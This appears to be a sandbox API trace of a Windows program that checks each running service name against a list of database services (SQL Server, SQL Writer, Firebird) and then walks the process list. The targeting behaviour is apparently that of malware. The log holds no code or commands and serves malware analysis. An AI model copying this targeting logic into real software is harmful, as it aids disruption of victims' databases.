lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0256.644] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0256.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0256.644] lstrlenW (lpString="iphlpsvc") returned 8 [0256.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0256.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0256.644] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0256.644] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0256.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0256.644] lstrlenW (lpString="KeyIso") returned 6 [0256.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0256.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0256.645] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0256.645] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0256.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0256.645] lstrlenW (lpString="LanmanServer") returned 12 [0256.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0256.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0256.645] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0256.645] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0256.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0256.645] lstrlenW (lpString="LanmanWorkstation") returned 17 [0256.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0256.645] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0256.645] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0256.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0256.645] lstrlenW (lpString="lfsvc") returned 5 [0256.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0256.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0256.646] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0256.646] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0256.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0256.646] lstrlenW (lpString="lmhosts") returned 7 [0256.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0256.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0256.646] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0256.646] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0256.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0256.861] lstrlenW (lpString="LSM") returned 3 [0256.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0256.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0256.861] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0256.861] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0256.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0256.861] lstrlenW (lpString="MpsSvc") returned 6 [0256.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0256.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0256.861] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0256.861] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0256.861] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0256.861] lstrlenW (lpString="NcbService") returned 10 [0256.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0256.933] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0256.933] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0256.933] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0256.933] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0256.934] lstrlenW (lpString="netprofm") returned 8 [0256.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0256.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0256.934] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0256.934] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0256.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0256.934] lstrlenW (lpString="NgcSvc") returned 6 [0256.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0256.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0256.934] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0256.934] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0256.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0256.934] lstrlenW (lpString="NlaSvc") returned 6 [0256.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0256.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0256.934] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0256.934] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0256.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0256.934] lstrlenW (lpString="nsi") returned 3 [0256.934] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0256.934] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0256.934] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0256.934] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0256.934] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0256.934] lstrlenW (lpString="PcaSvc") returned 6 [0256.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0256.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0256.935] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0256.935] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0256.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0256.935] lstrlenW (lpString="PlugPlay") returned 8 [0256.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0256.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0256.935] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0256.935] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0256.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0256.935] lstrlenW (lpString="Power") returned 5 [0256.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0256.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0256.935] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0256.935] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0256.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0256.935] lstrlenW (lpString="ProfSvc") returned 7 [0256.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0256.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0256.935] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0256.935] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0256.935] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0256.935] lstrlenW (lpString="RpcEptMapper") returned 12 [0256.935] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.935] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0256.935] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0256.935] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0256.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0256.936] lstrlenW (lpString="RpcSs") returned 5 [0256.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0256.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0256.936] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0256.936] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0256.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0256.936] lstrlenW (lpString="SamSs") returned 5 [0256.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0256.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0256.936] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0256.936] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0256.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0256.936] lstrlenW (lpString="Schedule") returned 8 [0256.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0256.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0256.936] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0256.936] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0256.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0256.936] lstrlenW (lpString="SecurityHealthService") returned 21 [0256.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0256.936] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0256.936] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0256.936] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0256.936] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0256.936] lstrlenW (lpString="SENS") returned 4 [0256.936] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0256.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0256.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0256.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0256.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0256.937] lstrlenW (lpString="ShellHWDetection") returned 16 [0256.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0256.937] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0256.937] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0256.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0256.937] lstrlenW (lpString="Spooler") returned 7 [0256.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0256.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0256.937] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0256.937] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0256.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0256.937] lstrlenW (lpString="SSDPSRV") returned 7 [0256.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0256.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0256.937] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0256.937] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0256.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0256.937] lstrlenW (lpString="StateRepository") returned 15 [0256.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0256.937] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0256.937] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0256.937] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0256.937] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0256.937] lstrlenW (lpString="SysMain") returned 7 [0256.937] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0256.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0256.938] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0256.938] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0256.938] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0256.938] lstrlenW (lpString="SystemEventsBroker") returned 18 [0256.938] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0256.938] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0256.938] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0256.938] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0256.938] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4207e50 | out: hHeap=0x670000) returned 1 [0256.938] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3b4 [0256.944] Process32FirstW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0256.945] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0256.946] lstrlenW (lpString="System") returned 6 [0256.946] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0256.946] lstrlenW (lpString="smss.exe") returned 8 [0256.946] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.947] lstrlenW (lpString="csrss.exe") returned 9 [0256.947] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0256.948] lstrlenW (lpString="wininit.exe") returned 11 [0256.948] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0256.948] lstrlenW (lpString="csrss.exe") returned 9 [0256.948] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x228, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0256.949] lstrlenW (lpString="winlogon.exe") returned 12 [0256.949] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0256.949] lstrlenW (lpString="services.exe") returned 12 [0256.949] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0256.950] lstrlenW (lpString="lsass.exe") returned 9 [0256.950] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x228, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0256.950] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0256.950] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0256.951] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0256.951] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.951] lstrlenW (lpString="svchost.exe") returned 11 [0256.951] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.952] lstrlenW (lpString="svchost.exe") returned 11 [0256.952] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x228, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0256.952] lstrlenW (lpString="dwm.exe") returned 7 [0256.952] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.953] lstrlenW (lpString="svchost.exe") returned 11 [0256.953] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.953] lstrlenW (lpString="svchost.exe") returned 11 [0256.953] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.954] lstrlenW (lpString="svchost.exe") returned 11 [0256.954] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.954] lstrlenW (lpString="svchost.exe") returned 11 [0256.954] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.955] lstrlenW (lpString="svchost.exe") returned 11 [0256.955] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.955] lstrlenW (lpString="svchost.exe") returned 11 [0256.955] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.956] lstrlenW (lpString="svchost.exe") returned 11 [0256.956] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.956] lstrlenW (lpString="svchost.exe") returned 11 [0256.956] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.957] lstrlenW (lpString="svchost.exe") returned 11 [0256.957] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.958] lstrlenW (lpString="svchost.exe") returned 11 [0256.958] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0256.958] lstrlenW (lpString="spoolsv.exe") returned 11 [0256.958] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.959] lstrlenW (lpString="svchost.exe") returned 11 [0256.959] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0256.960] lstrlenW (lpString="audiodg.exe") returned 11 [0256.960] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0256.960] lstrlenW (lpString="sihost.exe") returned 10 [0256.960] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0256.961] lstrlenW (lpString="svchost.exe") returned 11 [0256.961] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0256.962] lstrlenW (lpString="taskhostw.exe") returned 13 [0256.962] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0256.962] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0256.962] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0256.963] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0256.963] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0256.963] lstrlenW (lpString="Memory Compression") returned 18 [0256.963] Process32NextW (in: hSnapshot=0x3b4, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 